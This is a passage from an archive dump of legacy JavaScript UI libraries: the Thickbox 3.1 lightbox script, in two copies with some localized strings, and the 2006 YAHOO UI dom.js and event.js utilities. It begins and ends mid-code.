TB_NextCaption = ""; TB_NextURL = ""; TB_NextHTML = ""; TB_imageCount = ""; TB_FoundURL = false; if(imageGroup){ TB_TempArray = $("a[@rel="+imageGroup+"]").get(); for (TB_Counter = 0; ((TB_Counter < TB_TempArray.length) && (TB_NextHTML === "")); TB_Counter++) { var urlTypeTemp = TB_TempArray[TB_Counter].href.toLowerCase().match(urlString); if (!(TB_TempArray[TB_Counter].href == url)) { if (TB_FoundURL) { TB_NextCaption = TB_TempArray[TB_Counter].title; TB_NextURL = TB_TempArray[TB_Counter].href; TB_NextHTML = "<span id='TB_next'> <a href='#'>Next »</a></span>"; } else { TB_PrevCaption = TB_TempArray[TB_Counter].title; TB_PrevURL = TB_TempArray[TB_Counter].href; TB_PrevHTML = "<span id='TB_prev'> <a href='#'>« Previous</a></span>"; } } else { TB_FoundURL = true; TB_imageCount = "Image " + (TB_Counter + 1) +" of "+ (TB_TempArray.length); } } } imgPreloader = new Image(); imgPreloader.onload = function(){ imgPreloader.onload = null; // Resizing large images - orginal by Christian Montoya edited by me. var pagesize = tb_getPageSize(); var x = pagesize[0] - 150; var y = pagesize[1] - 150; var imageWidth = imgPreloader.width; var imageHeight = imgPreloader.height; if (imageWidth > x) { imageHeight = imageHeight * (x / imageWidth); imageWidth = x; if (imageHeight > y) { imageWidth = imageWidth * (y / imageHeight); imageHeight = y; } } else if (imageHeight > y) { imageWidth = imageWidth * (y / imageHeight); imageHeight = y; if (imageWidth > x) { imageHeight = imageHeight * (x / imageWidth); imageWidth = x; } } // End Resizing TB_WIDTH = imageWidth + 30; TB_HEIGHT = imageHeight + 60; $("#TB_window").append("<a href='' id='TB_ImageOff' title='Close'><img id='TB_Image' src='"+url+"' width='"+imageWidth+"' height='"+imageHeight+"' alt='"+caption+"'/></a>" + "<div id='TB_caption'>"+caption+"<div id='TB_secondLine'>" + TB_imageCount +TB_PrevHTML + TB_NextHTML + "</div></div><div id='TB_closeWindow'><a href='#' id='TB_closeWindowButton' title='Cerrar' style='font-size:16px;'>x</a></div>"); $("#TB_closeWindowButton").click(tb_remove); if (!(TB_PrevHTML === "")) { function goPrev(){ if($(document).unbind("click",goPrev)){$(document).unbind("click",goPrev);} $("#TB_window").remove(); $("body").append("<div id='TB_window'></div>"); tb_show(TB_PrevCaption, TB_PrevURL, imageGroup); return false; } $("#TB_prev").click(goPrev); } if (!(TB_NextHTML === "")) { function goNext(){ $("#TB_window").remove(); $("body").append("<div id='TB_window'></div>"); tb_show(TB_NextCaption, TB_NextURL, imageGroup); return false; } $("#TB_next").click(goNext); } document.onkeydown = function(e){ if (e == null) { // ie keycode = event.keyCode; } else { // mozilla keycode = e.which; } if(keycode == 27){ // close tb_remove(); } else if(keycode == 190){ // display previous image if(!(TB_NextHTML == "")){ document.onkeydown = ""; goNext(); } } else if(keycode == 188){ // display next image if(!(TB_PrevHTML == "")){ document.onkeydown = ""; goPrev(); } } }; tb_position(); $("#TB_load").remove(); $("#TB_ImageOff").click(tb_remove); $("#TB_window").css({display:"block"}); //for safari using css instead of show }; imgPreloader.src = url; }else{//code to show html var queryString = url.replace(/^[^\?]+\??/,''); var params = tb_parseQuery( queryString ); TB_WIDTH = (params['width']*1) + 30 || 630; //defaults to 630 if no paramaters were added to URL TB_HEIGHT = (params['height']*1) + 40 || 440; //defaults to 440 if no paramaters were added to URL ajaxContentW = TB_WIDTH - 30; ajaxContentH = TB_HEIGHT - 45; if(url.indexOf('TB_iframe') != -1){// either iframe or ajax window urlNoQuery = url.split('TB_'); $("#TB_iframeContent").remove(); if(params['modal'] != "true"){//iframe no modal $("#TB_window").append("<div id='TB_title'><div id='TB_ajaxWindowTitle'>"+caption+"</div><div id='TB_closeAjaxWindow'><a href='#' id='TB_closeWindowButton' title='Close'>close</a> or Esc Key</div></div><iframe frameborder='0' hspace='0' src='"+urlNoQuery[0]+"' id='TB_iframeContent' name='TB_iframeContent"+Math.round(Math.random()*1000)+"' onload='tb_showIframe()' style='width:"+(ajaxContentW + 29)+"px;height:"+(ajaxContentH + 17)+"px;' > </iframe>"); }else{//iframe modal $("#TB_overlay").unbind(); $("#TB_window").append("<iframe frameborder='0' hspace='0' src='"+urlNoQuery[0]+"' id='TB_iframeContent' name='TB_iframeContent"+Math.round(Math.random()*1000)+"' onload='tb_showIframe()' style='width:"+(ajaxContentW + 29)+"px;height:"+(ajaxContentH + 17)+"px;'> </iframe>"); } }else{// not an iframe, ajax if($("#TB_window").css("display") != "block"){ if(params['modal'] != "true"){//ajax no modal $("#TB_window").append("<div id='TB_title'><div id='TB_ajaxWindowTitle'>"+caption+"</div><div id='TB_closeAjaxWindow'><a href='#' id='TB_closeWindowButton'>close</a> or Esc Key</div></div><div id='TB_ajaxContent' style='width:"+ajaxContentW+"px;height:"+ajaxContentH+"px'></div>"); }else{//ajax modal $("#TB_overlay").unbind(); $("#TB_window").append("<div id='TB_ajaxContent' class='TB_modal' style='width:"+ajaxContentW+"px;height:"+ajaxContentH+"px;'></div>"); } }else{//this means the window is already up, we are just loading new content via ajax $("#TB_ajaxContent")[0].style.width = ajaxContentW +"px"; $("#TB_ajaxContent")[0].style.height = ajaxContentH +"px"; $("#TB_ajaxContent")[0].scrollTop = 0; $("#TB_ajaxWindowTitle").html(caption); } } $("#TB_closeWindowButton").click(tb_remove); if(url.indexOf('TB_inline') != -1){ $("#TB_ajaxContent").append($('#' + params['inlineId']).children()); $("#TB_window").unload(function () { $('#' + params['inlineId']).append( $("#TB_ajaxContent").children() ); // move elements back when you're finished }); tb_position(); $("#TB_load").remove(); $("#TB_window").css({display:"block"}); }else if(url.indexOf('TB_iframe') != -1){ tb_position(); if($.browser.safari){//safari needs help because it will not fire iframe onload $("#TB_load").remove(); $("#TB_window").css({display:"block"}); } }else{ $("#TB_ajaxContent").load(url += "&random=" + (new Date().getTime()),function(){//to do a post change this load method tb_position(); $("#TB_load").remove(); tb_init("#TB_ajaxContent a.thickbox"); $("#TB_window").css({display:"block"}); }); } } if(!params['modal']){ document.onkeyup = function(e){ if (e == null) { // ie keycode = event.keyCode; } else { // mozilla keycode = e.which; } if(keycode == 27){ // close tb_remove(); } }; } } catch(e) { //nothing here } } //helper functions below function tb_showIframe(){ $("#TB_load").remove(); $("#TB_window").css({display:"block"}); } function tb_remove() { $("#TB_imageOff").unbind("click"); $("#TB_closeWindowButton").unbind("click"); $("#TB_window").fadeOut("fast",function(){$('#TB_window,#TB_overlay,#TB_HideSelect').trigger("unload").unbind().remove();}); $("#TB_load").remove(); if (typeof document.body.style.maxHeight == "undefined") {//if IE 6 $("body","html").css({height: "auto", width: "auto"}); $("html").css("overflow",""); } document.onkeydown = ""; document.onkeyup = ""; return false; } function tb_position() { $("#TB_window").css({marginLeft: '-' + parseInt((TB_WIDTH / 2),10) + 'px', width: TB_WIDTH + 'px'}); if ( !(jQuery.browser.msie && jQuery.browser.version < 7)) { // take away IE6 $("#TB_window").css({marginTop: '-' + parseInt((TB_HEIGHT / 2),10) + 'px'}); } } function tb_parseQuery ( query ) { var Params = {}; if ( ! query ) {return Params;}// return empty object var Pairs = query.split(/[;&]/); for ( var i = 0; i < Pairs.length; i++ ) { var KeyVal = Pairs[i].split('='); if ( ! KeyVal || KeyVal.length != 2 ) {continue;} var key = unescape( KeyVal[0] ); var val = unescape( KeyVal[1] ); val = val.replace(/\+/g, ' '); Params[key] = val; } return Params; } function tb_getPageSize(){ var de = document.documentElement; var w = window.innerWidth || self.innerWidth || (de&&de.clientWidth) || document.body.clientWidth; var h = window.innerHeight || self.innerHeight || (de&&de.clientHeight) || document.body.clientHeight; arrayPageSize = [w,h]; return arrayPageSize; } function tb_detectMacXFF() { var userAgent = navigator.userAgent.toLowerCase(); if (userAgent.indexOf('mac') != -1 && userAgent.indexOf('firefox')!=-1) { return true; } } dom.js 0000666 00000011464 15155054006 0005674 0 ustar 00 /* Copyright (c) 2006 Yahoo! Inc. All rights reserved. */ YAHOO.util.Dom=new function(){this.get=function(el){if(typeof el=='string'){el=document.getElementById(el);} return el;};this.getStyle=function(el,property){var value=null;var dv=document.defaultView;el=this.get(el);if(property=='opacity'&&el.filters){value=1;try{value=el.filters.item('DXImageTransform.Microsoft.Alpha').opacity/100;}catch(e){try{value=el.filters.item('alpha').opacity/100;}catch(e){}}} else if(el.style[property]){value=el.style[property];} else if(el.currentStyle&&el.currentStyle[property]){value=el.currentStyle[property];} else if(dv&&dv.getComputedStyle) {var converted='';for(i=0,len=property.length;i<len;++i){if(property.charAt(i)==property.charAt(i).toUpperCase()){converted=converted+'-'+property.charAt(i).toLowerCase();}else{converted=converted+property.charAt(i);}} if(dv.getComputedStyle(el,'').getPropertyValue(converted)){value=dv.getComputedStyle(el,'').getPropertyValue(converted);}} return value;};this.setStyle=function(el,property,val){el=this.get(el);switch(property){case'opacity':if(el.filters){el.style.filter='alpha(opacity='+val*100+')';if(!el.currentStyle.hasLayout){el.style.zoom=1;}}else{el.style.opacity=val;el.style['-moz-opacity']=val;el.style['-khtml-opacity']=val;} break;default:el.style[property]=val;}};this.getXY=function(el){el=this.get(el);if(el.parentNode===null||this.getStyle(el,'display')=='none'){return false;} var parent=null;var pos=[];var box;if(el.getBoundingClientRect){box=el.getBoundingClientRect();var scrollTop=document.documentElement.scrollTop||document.body.scrollTop;var scrollLeft=document.documentElement.scrollLeft||document.body.scrollLeft;return[box.left+scrollLeft,box.top+scrollTop];} else if(document.getBoxObjectFor){box=document.getBoxObjectFor(el);pos=[box.x,box.y];} else{pos=[el.offsetLeft,el.offsetTop];parent=el.offsetParent;if(parent!=el){while(parent){pos[0]+=parent.offsetLeft;pos[1]+=parent.offsetTop;parent=parent.offsetParent;}} var ua=navigator.userAgent.toLowerCase();if(ua.indexOf('opera')!=-1||(ua.indexOf('safari')!=-1&&this.getStyle(el,'position')=='absolute')){pos[1]-=document.body.offsetTop;}} if(el.parentNode){parent=el.parentNode;} else{parent=null;} while(parent&&parent.tagName!='BODY'&&parent.tagName!='HTML'){pos[0]-=parent.scrollLeft;pos[1]-=parent.scrollTop;if(parent.parentNode){parent=parent.parentNode;} else{parent=null;}} return pos;};this.getX=function(el){return this.getXY(el)[0];};this.getY=function(el){return this.getXY(el)[1];};this.setXY=function(el,pos,noRetry){el=this.get(el);var pageXY=YAHOO.util.Dom.getXY(el);if(pageXY===false){return false;} var delta=[parseInt(YAHOO.util.Dom.getStyle(el,'left'),10),parseInt(YAHOO.util.Dom.getStyle(el,'top'),10)];if(isNaN(delta[0])){delta[0]=0;} if(isNaN(delta[1])){delta[1]=0;} if(pos[0]!==null){el.style.left=pos[0]-pageXY[0]+delta[0]+'px';} if(pos[1]!==null){el.style.top=pos[1]-pageXY[1]+delta[1]+'px';} var newXY=this.getXY(el);if(!noRetry&&(newXY[0]!=pos[0]||newXY[1]!=pos[1])){this.setXY(el,pos,true);} return true;};this.setX=function(el,x){return this.setXY(el,[x,null]);};this.setY=function(el,y){return this.setXY(el,[null,y]);};this.getRegion=function(el){el=this.get(el);return new YAHOO.util.Region.getRegion(el);};this.getClientWidth=function(){return(document.documentElement.offsetWidth||document.body.offsetWidth);};this.getClientHeight=function(){return(self.innerHeight||document.documentElement.clientHeight||document.body.clientHeight);};};YAHOO.util.Region=function(t,r,b,l){this.top=t;this.right=r;this.bottom=b;this.left=l;};YAHOO.util.Region.prototype.contains=function(region){return(region.left>=this.left&®ion.right<=this.right&®ion.top>=this.top&®ion.bottom<=this.bottom);};YAHOO.util.Region.prototype.getArea=function(){return((this.bottom-this.top)*(this.right-this.left));};YAHOO.util.Region.prototype.intersect=function(region){var t=Math.max(this.top,region.top);var r=Math.min(this.right,region.right);var b=Math.min(this.bottom,region.bottom);var l=Math.max(this.left,region.left);if(b>=t&&r>=l){return new YAHOO.util.Region(t,r,b,l);}else{return null;}};YAHOO.util.Region.prototype.union=function(region){var t=Math.min(this.top,region.top);var r=Math.max(this.right,region.right);var b=Math.max(this.bottom,region.bottom);var l=Math.min(this.left,region.left);return new YAHOO.util.Region(t,r,b,l);};YAHOO.util.Region.prototype.toString=function(){return("Region {"+" t: "+this.top+", r: "+this.right+", b: "+this.bottom+", l: "+this.left+"}");} YAHOO.util.Region.getRegion=function(el){var p=YAHOO.util.Dom.getXY(el);var t=p[1];var r=p[0]+el.offsetWidth;var b=p[1]+el.offsetHeight;var l=p[0];return new YAHOO.util.Region(t,r,b,l);};YAHOO.util.Point=function(x,y){this.x=x;this.y=y;this.top=y;this.right=x;this.bottom=y;this.left=x;};YAHOO.util.Point.prototype=new YAHOO.util.Region(); event.js 0000666 00000015714 15155054006 0006240 0 ustar 00 /* Copyright (c) 2006 Yahoo! Inc. All rights reserved. */ YAHOO.util.CustomEvent=function(type,oScope){this.type=type;this.scope=oScope||window;this.subscribers=[];if(YAHOO.util["Event"]){YAHOO.util.Event.regCE(this);}};YAHOO.util.CustomEvent.prototype={subscribe:function(fn,obj,bOverride){this.subscribers.push(new YAHOO.util.Subscriber(fn,obj,bOverride));},unsubscribe:function(fn,obj){var found=false;for(var i=0;i<this.subscribers.length;++i){var s=this.subscribers[i];if(s&&s.contains(fn,obj)){this._delete(i);found=true;}} return found;},fire:function(){for(var i=0;i<this.subscribers.length;++i){var s=this.subscribers[i];if(s){var scope=(s.override)?s.obj:this.scope;s.fn.call(scope,this.type,arguments,s.obj);}}},unsubscribeAll:function(){for(var i=0;i<this.subscribers.length;++i){this._delete(i);}},_delete:function(index){var s=this.subscribers[index];if(s){delete s.fn;delete s.obj;} delete this.subscribers[index];}};YAHOO.util.Subscriber=function(fn,obj,bOverride){this.fn=fn;this.obj=obj||null;this.override=(bOverride);};YAHOO.util.Subscriber.prototype.contains=function(fn,obj){return(this.fn==fn&&this.obj==obj);};if(!YAHOO.util.Event){YAHOO.util.Event=function(){var loadComplete=false;var listeners=[];var delayedListeners=[];var unloadListeners=[];var customEvents=[];var legacyEvents=[];var legacyHandlers=[];return{EL:0,TYPE:1,FN:2,WFN:3,SCOPE:3,ADJ_SCOPE:4,isSafari:(navigator.userAgent.match(/safari/gi)),isIE:(!this.isSafari&&navigator.userAgent.match(/msie/gi)),addListener:function(el,sType,fn,oScope,bOverride){if(this._isValidCollection(el)){var ok=true;for(var i=0;i<el.length;++i){ok=(this.on(el[i],sType,fn,oScope,bOverride)&&ok);} return ok;}else if(typeof el=="string"){if(loadComplete){el=this.getEl(el);}else{delayedListeners[delayedListeners.length]=[el,sType,fn,oScope,bOverride];return true;}} if(!el){return false;} if("unload"==sType&&oScope!==this){unloadListeners[unloadListeners.length]=[el,sType,fn,oScope,bOverride];return true;} var scope=(bOverride)?oScope:el;var wrappedFn=function(e){return fn.call(scope,YAHOO.util.Event.getEvent(e),oScope);};var li=[el,sType,fn,wrappedFn,scope];var index=listeners.length;listeners[index]=li;if(this.useLegacyEvent(el,sType)){var legacyIndex=this.getLegacyIndex(el,sType);if(legacyIndex==-1){legacyIndex=legacyEvents.length;legacyEvents[legacyIndex]=[el,sType,el["on"+sType]];legacyHandlers[legacyIndex]=[];el["on"+sType]=function(e){YAHOO.util.Event.fireLegacyEvent(YAHOO.util.Event.getEvent(e),legacyIndex);};} legacyHandlers[legacyIndex].push(index);}else if(el.addEventListener){el.addEventListener(sType,wrappedFn,false);}else if(el.attachEvent){el.attachEvent("on"+sType,wrappedFn);} return true;},fireLegacyEvent:function(e,legacyIndex){var ok=true;var le=legacyHandlers[legacyIndex];for(i=0;i<le.length;++i){var index=le[i];if(index){var li=listeners[index];var scope=li[this.ADJ_SCOPE];var ret=li[this.WFN].call(scope,e);ok=(ok&&ret);}} return ok;},getLegacyIndex:function(el,sType){for(var i=0;i<legacyEvents.length;++i){var le=legacyEvents[i];if(le&&le[0]==el&&le[1]==sType){return i;}} return-1;},useLegacyEvent:function(el,sType){return((!el.addEventListener&&!el.attachEvent)||(sType=="click"&&this.isSafari));},removeListener:function(el,sType,fn){if(typeof el=="string"){el=this.getEl(el);}else if(this._isValidCollection(el)){var ok=true;for(var i=0;i<el.length;++i){ok=(this.removeListener(el[i],sType,fn)&&ok);} return ok;} var cacheItem=null;var index=this._getCacheIndex(el,sType,fn);if(index>=0){cacheItem=listeners[index];} if(!el||!cacheItem){return false;} if(el.removeEventListener){el.removeEventListener(sType,cacheItem[this.WFN],false);}else if(el.detachEvent){el.detachEvent("on"+sType,cacheItem[this.WFN]);} delete listeners[index][this.WFN];delete listeners[index][this.FN];delete listeners[index];return true;},getTarget:function(ev,resolveTextNode){var t=ev.target||ev.srcElement;if(resolveTextNode&&t&&"#text"==t.nodeName){return t.parentNode;}else{return t;}},getPageX:function(ev){var x=ev.pageX;if(!x&&0!==x){x=ev.clientX||0;if(this.isIE){x+=this._getScrollLeft();}} return x;},getPageY:function(ev){var y=ev.pageY;if(!y&&0!==y){y=ev.clientY||0;if(this.isIE){y+=this._getScrollTop();}} return y;},getRelatedTarget:function(ev){var t=ev.relatedTarget;if(!t){if(ev.type=="mouseout"){t=ev.toElement;}else if(ev.type=="mouseover"){t=ev.fromElement;}} return t;},getTime:function(ev){if(!ev.time){var t=new Date().getTime();try{ev.time=t;}catch(e){return t;}} return ev.time;},stopEvent:function(ev){this.stopPropagation(ev);this.preventDefault(ev);},stopPropagation:function(ev){if(ev.stopPropagation){ev.stopPropagation();}else{ev.cancelBubble=true;}},preventDefault:function(ev){if(ev.preventDefault){ev.preventDefault();}else{ev.returnValue=false;}},getEvent:function(e){var ev=e||window.event;if(!ev){var c=this.getEvent.caller;while(c){ev=c.arguments[0];if(ev&&Event==ev.constructor){break;} c=c.caller;}} return ev;},getCharCode:function(ev){return ev.charCode||(ev.type=="keypress")?ev.keyCode:0;},_getCacheIndex:function(el,sType,fn){for(var i=0;i<listeners.length;++i){var li=listeners[i];if(li&&li[this.FN]==fn&&li[this.EL]==el&&li[this.TYPE]==sType){return i;}} return-1;},_isValidCollection:function(o){return(o&&o.length&&typeof o!="string"&&!o.tagName&&!o.alert&&typeof o[0]!="undefined");},elCache:{},getEl:function(id){return document.getElementById(id);},clearCache:function(){for(i in this.elCache){delete this.elCache[i];}},regCE:function(ce){customEvents.push(ce);},_load:function(e){loadComplete=true;},_tryPreloadAttach:function(){var tryAgain=!loadComplete;for(var i=0;i<delayedListeners.length;++i){var d=delayedListeners[i];if(d){var el=this.getEl(d[this.EL]);if(el){this.on(el,d[this.TYPE],d[this.FN],d[this.SCOPE],d[this.ADJ_SCOPE]);delete delayedListeners[i];}}} if(tryAgain){setTimeout("YAHOO.util.Event._tryPreloadAttach()",50);}},_unload:function(e,me){for(var i=0;i<unloadListeners.length;++i){var l=unloadListeners[i];if(l){var scope=(l[this.ADJ_SCOPE])?l[this.SCOPE]:window;l[this.FN].call(scope,this.getEvent(e),l[this.SCOPE]);}} if(listeners&&listeners.length>0){for(i=0;i<listeners.length;++i){l=listeners[i];if(l){this.removeListener(l[this.EL],l[this.TYPE],l[this.FN]);}} this.clearCache();} for(i=0;i<customEvents.length;++i){customEvents[i].unsubscribeAll();delete customEvents[i];} for(i=0;i<legacyEvents.length;++i){delete legacyEvents[i][0];delete legacyEvents[i];}},_getScrollLeft:function(){return this._getScroll()[1];},_getScrollTop:function(){return this._getScroll()[0];},_getScroll:function(){var dd=document.documentElement;db=document.body;if(dd&&dd.scrollTop){return[dd.scrollTop,dd.scrollLeft];}else if(db){return[db.scrollTop,db.scrollLeft];}else{return[0,0];}}};}();YAHOO.util.Event.on=YAHOO.util.Event.addListener;if(document&&document.body){YAHOO.util.Event._load();}else{YAHOO.util.Event.on(window,"load",YAHOO.util.Event._load,YAHOO.util.Event,true);} YAHOO.util.Event.on(window,"unload",YAHOO.util.Event._unload,YAHOO.util.Event,true);YAHOO.util.Event._tryPreloadAttach();} g_thickbox.js 0000666 00000030270 15155054006 0007232 0 ustar 00 /* * Thickbox 3.1 - One Box To Rule Them All. * By Cody Lindley (http://www.codylindley.com) * Copyright (c) 2007 cody lindley * Licensed under the MIT License: http://www.opensource.org/licenses/mit-license.php */ //Arreglo por no se que problema con algunas versiones de explorer if(/MSIE (\d+\.\w*);/i.test(window.navigator.userAgent))jQuery.browser.version = parseFloat(RegExp.$1); var tb_pathToImage = "img/cargando.gif"; /*!!!!!!!!!!!!!!!!! edit below this line at your own risk !!!!!!!!!!!!!!!!!!!!!!!*/ //on page load call tb_init $(document).ready(function(){ tb_init('a.thickbox, area.thickbox, input.thickbox');//pass where to apply thickbox imgLoader = new Image();// preload image imgLoader.src = tb_pathToImage; }); //add thickbox to href & area elements that have a class of .thickbox function tb_init(domChunk){ $(domChunk).click(function(){ var t = this.title || this.name || null; var a = this.href || this.alt; var g = this.rel || false; tb_show(t,a,g); this.blur(); return false; }); } function tb_show(caption, url, imageGroup) {//function called when the user clicks on a thickbox link try { if (typeof document.body.style.maxHeight === "undefined") {//if IE 6 $("body","html").css({height: "100%", width: "100%"}); $("html").css("overflow","hidden"); if (document.getElementById("TB_HideSelect") === null) {//iframe to hide select elements in ie6 $("body").append("<iframe id='TB_HideSelect'></iframe><div id='TB_overlay'></div><div id='TB_window'></div>"); $("#TB_overlay").click(tb_remove); } }else{//all others if(document.getElementById("TB_overlay") === null){ $("body").append("<div id='TB_overlay'></div><div id='TB_window'></div>"); $("#TB_overlay").click(tb_remove); } } if(tb_detectMacXFF()){ $("#TB_overlay").addClass("TB_overlayMacFFBGHack");//use png overlay so hide flash }else{ $("#TB_overlay").addClass("TB_overlayBG");//use background and opacity } if(caption===null){caption="";} $("body").append("<div id='TB_load'><img src='"+imgLoader.src+"' /></div>");//add loader to the page $('#TB_load').show();//show loader var baseURL; if(url.indexOf("?")!==-1){ //ff there is a query string involved baseURL = url.substr(0, url.indexOf("?")); }else{ baseURL = url; } var urlString = /\.jpg$|\.jpeg$|\.png$|\.gif$|\.bmp$/; var urlType = baseURL.toLowerCase().match(urlString); if(urlType == '.jpg' || urlType == '.jpeg' || urlType == '.png' || urlType == '.gif' || urlType == '.bmp'){//code to show images TB_PrevCaption = ""; TB_PrevURL = ""; TB_PrevHTML = ""; TB_NextCaption = ""; TB_NextURL = ""; TB_NextHTML = ""; TB_imageCount = ""; TB_FoundURL = false; if(imageGroup){ TB_TempArray = $("a[@rel="+imageGroup+"]").get(); for (TB_Counter = 0; ((TB_Counter < TB_TempArray.length) && (TB_NextHTML === "")); TB_Counter++) { var urlTypeTemp = TB_TempArray[TB_Counter].href.toLowerCase().match(urlString); if (!(TB_TempArray[TB_Counter].href == url)) { if (TB_FoundURL) { TB_NextCaption = TB_TempArray[TB_Counter].title; TB_NextURL = TB_TempArray[TB_Counter].href; TB_NextHTML = "<span id='TB_next'> <a href='#'>Folgend »</a></span>"; } else { TB_PrevCaption = TB_TempArray[TB_Counter].title; TB_PrevURL = TB_TempArray[TB_Counter].href; TB_PrevHTML = "<span id='TB_prev'> <a href='#'>« früher</a></span>"; } } else { TB_FoundURL = true; TB_imageCount = "Abbild " + (TB_Counter + 1) +" of "+ (TB_TempArray.length); } } } imgPreloader = new Image(); imgPreloader.onload = function(){ imgPreloader.onload = null; // Resizing large images - orginal by Christian Montoya edited by me. var pagesize = tb_getPageSize(); var x = pagesize[0] - 150; var y = pagesize[1] - 150; var imageWidth = imgPreloader.width; var imageHeight = imgPreloader.height; if (imageWidth > x) { imageHeight = imageHeight * (x / imageWidth); imageWidth = x; if (imageHeight > y) { imageWidth = imageWidth * (y / imageHeight); imageHeight = y; } } else if (imageHeight > y) { imageWidth = imageWidth * (y / imageHeight); imageHeight = y; if (imageWidth > x) { imageHeight = imageHeight * (x / imageWidth); imageWidth = x; } } // End Resizing TB_WIDTH = imageWidth + 30; TB_HEIGHT = imageHeight + 60; $("#TB_window").append("<a href='' id='TB_ImageOff' title='Close'><img id='TB_Image' src='"+url+"' width='"+imageWidth+"' height='"+imageHeight+"' alt='"+caption+"'/></a>" + "<div id='TB_caption'>"+caption+"<div id='TB_secondLine'>" + TB_imageCount +TB_PrevHTML + TB_NextHTML + "</div></div><div id='TB_closeWindow'><a href='#' id='TB_closeWindowButton' title='Cerrar' style='font-size:16px;'>x</a></div>"); $("#TB_closeWindowButton").click(tb_remove); if (!(TB_PrevHTML === "")) { function goPrev(){ if($(document).unbind("click",goPrev)){$(document).unbind("click",goPrev);} $("#TB_window").remove(); $("body").append("<div id='TB_window'></div>"); tb_show(TB_PrevCaption, TB_PrevURL, imageGroup); return false; } $("#TB_prev").click(goPrev); } if (!(TB_NextHTML === "")) { function goNext(){ $("#TB_window").remove(); $("body").append("<div id='TB_window'></div>"); tb_show(TB_NextCaption, TB_NextURL, imageGroup); return false; } $("#TB_next").click(goNext); } document.onkeydown = function(e){ if (e == null) { // ie keycode = event.keyCode; } else { // mozilla keycode = e.which; } if(keycode == 27){ // close tb_remove(); } else if(keycode == 190){ // display previous image if(!(TB_NextHTML == "")){ document.onkeydown = ""; goNext(); } } else if(keycode == 188){ // display next image if(!(TB_PrevHTML == "")){ document.onkeydown = ""; goPrev(); } } }; tb_position(); $("#TB_load").remove(); $("#TB_ImageOff").click(tb_remove); $("#TB_window").css({display:"block"}); //for safari using css instead of show }; imgPreloader.src = url; }else{//code to show html var queryString = url.replace(/^[^\?]+\??/,''); var params = tb_parseQuery( queryString ); TB_WIDTH = (params['width']*1) + 30 || 630; //defaults to 630 if no paramaters were added to URL TB_HEIGHT = (params['height']*1) + 40 || 440; //defaults to 440 if no paramaters were added to URL ajaxContentW = TB_WIDTH - 30; ajaxContentH = TB_HEIGHT - 45; if(url.indexOf('TB_iframe') != -1){// either iframe or ajax window urlNoQuery = url.split('TB_'); $("#TB_iframeContent").remove(); if(params['modal'] != "true"){//iframe no modal $("#TB_window").append("<div id='TB_title'><div id='TB_ajaxWindowTitle'>"+caption+"</div><div id='TB_closeAjaxWindow'><a href='#' id='TB_closeWindowButton' title='Close'>close</a> or Esc Key</div></div><iframe frameborder='0' hspace='0' src='"+urlNoQuery[0]+"' id='TB_iframeContent' name='TB_iframeContent"+Math.round(Math.random()*1000)+"' onload='tb_showIframe()' style='width:"+(ajaxContentW + 29)+"px;height:"+(ajaxContentH + 17)+"px;' > </iframe>"); }else{//iframe modal $("#TB_overlay").unbind(); $("#TB_window").append("<iframe frameborder='0' hspace='0' src='"+urlNoQuery[0]+"' id='TB_iframeContent' name='TB_iframeContent"+Math.round(Math.random()*1000)+"' onload='tb_showIframe()' style='width:"+(ajaxContentW + 29)+"px;height:"+(ajaxContentH + 17)+"px;'> </iframe>"); } }else{// not an iframe, ajax if($("#TB_window").css("display") != "block"){ if(params['modal'] != "true"){//ajax no modal $("#TB_window").append("<div id='TB_title'><div id='TB_ajaxWindowTitle'>"+caption+"</div><div id='TB_closeAjaxWindow'><a href='#' id='TB_closeWindowButton'>close</a> or Esc Key</div></div><div id='TB_ajaxContent' style='width:"+ajaxContentW+"px;height:"+ajaxContentH+"px'></div>"); }else{//ajax modal $("#TB_overlay").unbind(); $("#TB_window").append("<div id='TB_ajaxContent' class='TB_modal' style='width:"+ajaxContentW+"px;height:"+ajaxContentH+"px;'></div>"); } }else{//this means the window is already up, we are just loading new content via ajax $("#TB_ajaxContent")[0].style.width = ajaxContentW +"px"; $("#TB_ajaxContent")[0].style.height = ajaxContentH +"px"; $("#TB_ajaxContent")[0].scrollTop = 0; $("#TB_ajaxWindowTitle").html(caption); } } $("#TB_closeWindowButton").click(tb_remove); if(url.indexOf('TB_inline') != -1){ $("#TB_ajaxContent").append($('#' + params['inlineId']).children()); $("#TB_window").unload(function () { $('#' + params['inlineId']).append( $("#TB_ajaxContent").children() ); // move elements back when you're finished }); tb_position(); $("#TB_load").remove(); $("#TB_window").css({display:"block"}); }else if(url.indexOf('TB_iframe') != -1){ tb_position(); if($.browser.safari){//safari needs help because it will not fire iframe onload $("#TB_load").remove(); $("#TB_window").css({display:"block"}); } }else{ $("#TB_ajaxContent").load(url += "&random=" + (new Date().getTime()),function(){//to do a post change this load method tb_position(); $("#TB_load").remove(); tb_init("#TB_ajaxContent a.thickbox"); $("#TB_window").css({display:"block"}); }); } } if(!params['modal']){ document.onkeyup = function(e){ if (e == null) { // ie keycode = event.keyCode; } else { // mozilla keycode = e.which; } if(keycode == 27){ // close tb_remove(); } }; } } catch(e) { //nothing here } } //helper functions below function tb_showIframe(){ $("#TB_load").remove(); $("#TB_window").css({display:"block"}); } function tb_remove() { $("#TB_imageOff").unbind("click"); $("#TB_closeWindowButton").unbind("click"); $("#TB_window").fadeOut("fast",function(){$('#TB_window,#TB_overlay,#TB_HideSelect').trigger("unload").unbind().remove();}); $("#TB_load").remove(); if (typeof document.body.style.maxHeight == "undefined") {//if IE 6 $("body","html").css({height: "auto", width: "auto"}); $("html").css("overflow",""); } document.onkeydown = ""; document.onkeyup = ""; return false; } function tb_position() { $("#TB_window").css({marginLeft: '-' + parseInt((TB_WIDTH / 2),10) + 'px', width: TB_WIDTH + 'px'}); if ( !(jQuery.browser.msie && jQuery.browser.version < 7)) { // take away IE6 $("#TB_window").css({marginTop: '-' + parseInt((TB_HEIGHT / 2),10) + 'px'}); } } function tb_parseQuery ( query ) { var Params = {}; if ( ! query ) {return Params;}// return empty object var Pairs = query.split(/[;&]/); for ( var i = 0; i < Pairs.length; i++ ) { var KeyVal = Pairs[i].split('='); if ( ! KeyVal || KeyVal.length != 2 ) {continue;} var key = unescape( KeyVal[0] ); var val = unescape( KeyVal[1] ); val = val.replace(/\+/g, ' '); Params[key] = val; } return Params; } function tb_getPageSize(){ var de = document.documentElement; var w = window.innerWidth || self.innerWidth || (de&&de.clientWidth) || document.body.clientWidth; var h = window.innerHeight || self.innerHeight || (de&&de.clientHeight) || document.body.clientHeight; arrayPageSize = [w,h]; return arrayPageSize; } function tb_detectMacXFF() { var userAgent = navigator.userAgent.toLowerCase(); if (userAgent.indexOf('mac') != -1 && 